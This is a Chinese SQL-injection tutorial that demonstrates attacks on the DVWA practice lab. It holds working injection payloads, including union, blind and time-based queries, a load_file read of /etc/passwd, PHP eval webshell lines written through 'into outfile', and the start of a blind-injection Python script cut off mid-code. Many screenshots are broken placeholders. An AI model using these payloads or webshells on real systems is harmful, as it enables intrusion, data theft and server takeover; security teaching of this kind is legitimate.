声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
- 1.Web安全Day1 - SQL注入实战攻防
- https://mp.weixin.qq.com/s/zP0MZNhnZG_S9aoHDXzvWA
1. SQL注入
1.1 漏洞简介
结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。
1.2 漏洞原理
可以通过网站存在的查询语句进行构造,为此开发者对其伤透了脑筋,漏洞不光是查询,可能还存在与API、隐藏链接、http头数据、写入数据等。需要对数据包的结构和传递函数比较了解,建议学习的时候把数据库的日志打开,就可以查看到传递到数据库的语句是什么样子的了。
需要记住的information_schema数据库的SCHEMATA、TABLES、COLUMNS。
SCHEMATA表中存放所有数据库的名,字段名为SCHEMA_NAME。
关键函数database() 当前数据库名、version() 当前mysql版本、user()当前mysql用户.
1.3 漏洞危害
危害较高的漏洞,可以获取敏感信息,修改信息,脱裤,上传 webshell,执行命令。
2. SQL漏洞类型
2.1 区分数字和字符串
数字上是不加单引号的如’2’+‘2’=‘22’而非’4’
而2+2=4
2.2 内联SQL注入
sql注入主要是靠内联SQL来进行注入的
and or 与或非的判断来进行内联SQL注入,等于在原先的语句上扩展出来的语句
2.3 报错注入
报错注入顾名思义主要是利用数据库报错来进行判断是否存在注入点。如果不符合数据库语法规则就会产生错误。
常用的特殊字符:’ \ ; %00 ) ( # "
2.4 盲注
2.4.1 常用函数
1)函数length()
计算数据库长度
id=1' and lengh(database())=8;
2)函数left(a)=b
sql的left()函数如果式子成立返回1如果不成立返回0
select left(database(),1)='r';
一般用来猜测库的名字
3)函数substr()
substr()和substring()函数实现的功能是一样的,均为截取字符串。
substring(string, start, length)
substr(string, start, length)
length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本
select substr(database(),1,1)='a';
可进行单字符验证可进行全字符验证
4)函数mid()
mid(string,start,length)
string(必需)规定要返回其中一部分的字符串。
start(必需)规定开始位置(起始值是 1)。
length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本
select mid(database(),1)='testt';
可进行单字符验证可进行全字符验证
5)函数ascii()
返回字符串str的最左字符的数值。返回0,如果str为空字符串。返回NULL,如果str为NULL。 ASCII()返回数值是从0到255;
只会返回最左边字符的可以配合substr()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BSepe64l-1582161615025)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559139316203.png)]
6)ord函数
ORD() 函数返回字符串第一个字符的 ASCII 值。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZEl6vAMr-1582161615026)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559139408949.png)]
7)函数updatexml()
updatexml(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
在当前数据库中演示
8)函数exp()
exp是以e为底的指数函数。可能会存在溢出
mysql> select exp(1);
+-------------------+
| exp(1) |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)
由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
2.4.2 布尔类型注入
如果成功注入会正确显示内容,如果没成功会显示非正常内容。
2.4.3 无报错回显注入
没有任何报错显示,但是能根据页面是否正确显示来进行判断。如搜索注入没有内容,正常搜索应该是有内容的。
2.4.4 时间注入
如果exp1为true返回值为sleep,如果为假返回值为1。ps:前提是网络延迟较低的情况。。
if(length(database())>1,sleep(5),1)
2.5 堆叠查询注入
通过分号隔开执行多条语句。
2.6 Union注入
前面不存在才会执行后面的语句,一般配合的是布尔类型的盲注
2.7 二次注入
在存入数据库的时候做了过滤,但是取出来的时候没有做过滤,而产生的数据库注入。
2.8宽字节注入
数据库大多数为GBK才可以%df
2.9 cookie注入
cookie中的参数也有可能存在注入
2.10 编码注入
Base64
2.11 XFF注入攻击
X-Forwarded-for伪造客户端IP
2.12 DNS_log
dnslog
2.13 组合注入
通过上述所有的注入方式进行组合攻击,如union+盲注
3. SQL注入绕过
大小写绕过
pathinfo配合dnslog
原本是id=1
变成1.txt?id=1
4. SQL数据库种类
4.1 Access
本地访问
4.2 MySQL
端口号:3306
需要记住默认库information_schema和其中的表SCHEMATA、TABLES和COLUMNS
SCHEMATA 存储的是用户创建所有数据库的库名记录数据库库名的字段为SCHEMA_NAME,这就是为什么这条数据库语句可以查询到全部数据库的原因
select schema_name from information_schema.schemata 查询全部数据库
select table_schema,table_name from information_schema.tables 查询全部数据库和表的对应
select column_name from information_schema.columns; 查询全部列
select 列 from xxxx库.xxx表; 查询值
limit 后使用 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1) 这种方式触发 sql 注入,受到 Mysql 版本的限制,其区间在 Mysql 5.1.5 - Mysql5.5 附近。
注释符号:–空格,/* */内联注释,# Mysql–后面要加一个空格或者控制字符要不无法注释
‘a’ ‘b’=‘ab’
4.3 SQLSever
端口号:1433
注释符号:–,/* */注释
‘a’+‘b’=‘ab’
4.4 Oracle
端口号:1521
注释符号:–,/* */注释
‘a’||‘b’=‘ab’
4.5 PostgreSQL
端口号:5432或者5433
注释符号:–,/* */注释
‘a’||‘b’=‘ab’
4.6 DB2
端口号:5000
SQLite
一种数据库文件,特别小,就一个库多个表,可用sqlite或者sqlite2打开
4.7 MongoDB
端口号:27017
5. SQL攻击手段
5.1 数据库提权
5.2 万能密码登陆
ASP站点’or’=‘or’
5.3 窃取哈希口令
5.4 数据库Dump
5.5 读写文件
5.5.1 load_file()读取文件操作
前提:
知道文件的绝对路径
能够使用 union 查询
对 web 目录有写的权限
union select 1,load_file(’/etc/passwd’),3,4,5#
0x2f6574632f706173737764
union select 1,load_file(0x2f6574632f706173737764),3,4,5#
路径没有加单引号的话必须转换十六进制
要是想省略单引号的话必须转换十六进制
5.5.2 into outfile 写入文件操作
前提:
文件名必须是全路径(绝对路径)
用户必须有写文件的权限
没有对单引号’过滤
select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\8.php'
select '<?php @eval($_POST["admin"]); ?>' into outfile
'C:\phpStudy\PHPTutorial\WWW\8.php'
路径里面两个反斜杠\可以换成一个正斜杠/
PHP 语句没有单引号的话,必须转换成十六进制
要是想省略单引号’的话,必须转换成十六进制
<?php eval($_POST["admin"]); ?> 或者 <?php
eval($_GET["admin"]); ?>
<?php @eval($_POST["admin"]); ?>
<?php phpinfo(); ?>
<?php eval($_POST["admin"]); ?>
有时候得写成
<?php eval(\$_POST["admin"]); ?>
建议一句话 PHP 语句转换成十六进制
5.5.3 数据库备份文件
6. 测试方法
6.1 手工测试
这里我们采用DVWA靶场进行手工测试。
6.1.1 DVWA 简介
DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
6.1.2 DVWA 安装
https://github.com/ethicalhack3r/DVWA/archive/master.zip
本地PHPStudy搭建DVWA靶机,放入www目录下即可
环境使用PHP+MySQL即可。
6.1.3 测试过程
6.1.3.4 Low
(1)SQL Injection
其他难度主要是为绕过手段。
判断是否存在注入在这里使用一个分号来进行扰乱数据库
查看数据库,发现命令没有生效
使用%23来把后面的内个分号进行注释,这里不能使用#因为#为php的锚点不会传递到服务器。可以正常查询
数据库中发现#把后面的引号注释掉了导致语句成功执行
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vxOwzQzx-1582161615030)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559636970503.png)]
利用这个特性来进行注入构造语句id=1'or 1=1%23
因为后面1=1为真就会把全部的字段全部输出出来。
改一下代码显示sql语句。
/var/www/html/www1/vulnerabilities/sqli/source
在这个文件下有源码在+一条echo $query
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yud6b3cY-1582161615031)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559638360170.png)]
(2)堆叠注入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6tAc2ucs-1582161615032)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559638482214.png)]
不知道为何会报错把这条语句复制下来在mysql命令行输入没有报错正常显示
(3)union注入
第一步先进行字段数量判断order by xx
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-buoWvt0G-1582161615033)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559640910854.png)]
order by 3
的时候出现了报错说明为2个字段代码中也能体现,但是如果是渗透测试是看不见数据库命令的只能通过这个去尝试
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QGI9FZDa-1582161615033)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559640986613.png)]
得出2个字段后进行union注入id=1'union+select+1,2%23
1和2都显示了说明都可以进行替换。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RVnlJVGT-1582161615034)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559641595196.png)]
?id=1'union+select+table_schema,table_name from information_schema.tables%23
把所有数据库的库和表都对应的显示出来了。寻找需要的表
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CEUCzSzy-1582161615035)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559642200199.png)]
再去查字段?id=1'union+select+column_name,2 from information_schema.columns%23
到最后找到属于users表的字段
first_name,password再去构造查询语句
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8Lfh3as5-1582161615036)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559642392277.png)]
?id=1'union+select+first_name,password from dvwa.users
查询到要拿到的内容了想想有没有简单的方法。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JQTMlA4s-1582161615036)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559642467988.png)]
直接去查询他的表对应的字段就简单了
?id=1'union+select+table_name,column_name from information_schema.columns%23
所以只需要记住information_schema库下的columns表中的字段就可以了库是table_schema,表是table_name,字段是column_name
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PksRCX5g-1582161615037)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559642699678.png)]
(4)SQL Injection(Bind)
盲注即为不回显内容需要进行尝试根据页面返回的内容是否正常来进行判断
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qEiint4J-1582161615037)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559643423663.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DRbXVHcx-1582161615037)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559643479549.png)]
说明存在盲注
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kUVu3Bn3-1582161615038)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559643490081.png)]
(5)内联注入
直接用内联注入简单快捷。。
用length(database())=xx
来判断数据库名长度如果成立就会返回正常
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lXgPBIGA-1582161615038)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559643740924.png)]
说明数据库名为4位
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lHRzrDX2-1582161615039)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559643802791.png)]
1' and mid(database(),1,1)<'g'#
使用mid来判断数据库第一位的内容只需要修改第二个标志位来判断位数如果为正确就会返回存在ID
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nAfBJ0Bq-1582161615039)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559643914467.png)]
1' and mid(database(),2,1)='v'#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sm9HwWu0-1582161615040)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559643934863.png)]
后面就省略了。之后会有脚本教学进行判断
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 显示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 显示存在说明当前数据库存在两个表
1' and length(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# 显示存在说明第一个表名字长度为9
1' and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'# 显示存在说明第一个表的第一个字为g
1' and mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u'# 显示存在说明users表的第一个字段为u
1' and mid((select first_name from dvwa.users limit 0,1),1,1)='a'# 显示存在说明first_name的字段,第一个的数据为a
时间盲注加个sleep就可以了
1' and if(length(database())=1,sleep(5),1) # 没有延迟
1' and if(length(database())=2,sleep(5),1) # 没有延迟
1' and if(length(database())=3,sleep(5),1) # 没有延迟
1' and if(length(database())=4,sleep(5),1) # 明显延迟
6.1.3.2 Medium
(1)SQL Injection
只做绕过不进行详细测试。
发现只是改成了POST型,加了个过滤特殊符号的函数,改成了数字型注入。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SF21XYVO-1582161615041)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559645820681.png)]
成功注入
SQL Injection(Bind)
一样就是改成了POST和过滤,数字型盲注。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3UGldI54-1582161615042)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559645982680.png)]
正常绕过了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tExuey5V-1582161615043)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559646084089.png)]
6.1.3.3 High
(1)SQL Injection
通过外部传递进来的session的id和限制一次只能显示一行
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lQO0dv8J-1582161615043)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559646224652.png)]
绕过了limit的限制
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D5Xm2czy-1582161615043)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559646496924.png)]
成功注入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4e8rW1cx-1582161615044)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559646555701.png)]
需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
SQL Injection(Bind)
跟上面差不多这个是Cookie的传递id,limit也是限制显示一行
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KFN7Nr0D-1582161615044)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559646600971.png)]
这个比显示注入简单些,直接能在cookie处修改注入[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5dJbMiGQ-1582161615045)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559646793335.png)]
成功绕过
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WRErkiU8-1582161615045)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559646872678.png)]
6.1.3.4 Impossible
(1)SQL Injection
做了个CSRF的防御,使用了PDO进行了分离数据和参数
先判断了一下id是否为数字如果不为数字直接就会跳过数据库查询,bindParam把id转换为int型,防止输入的数字为字符。进行查询有效限制了恶意构造语句
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YNHeHx4j-1582161615045)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559647652359.png)]
(2)SQL Injection(Bind)
跟如上一样
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SUNwqrzZ-1582161615046)(https://raw.githubusercontent.com/hongriSec/Web-Security-Attack/master/Part1/Day1/files/assets/1559647836899.png)]
6.2 工具测试
继续对DVWA靶场进行测试。
6.2.1 Python半自动化脚本
多用于盲注,这里只演示盲注
6.2.1.1 注入数据库名
"""
@Product:DVWA
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"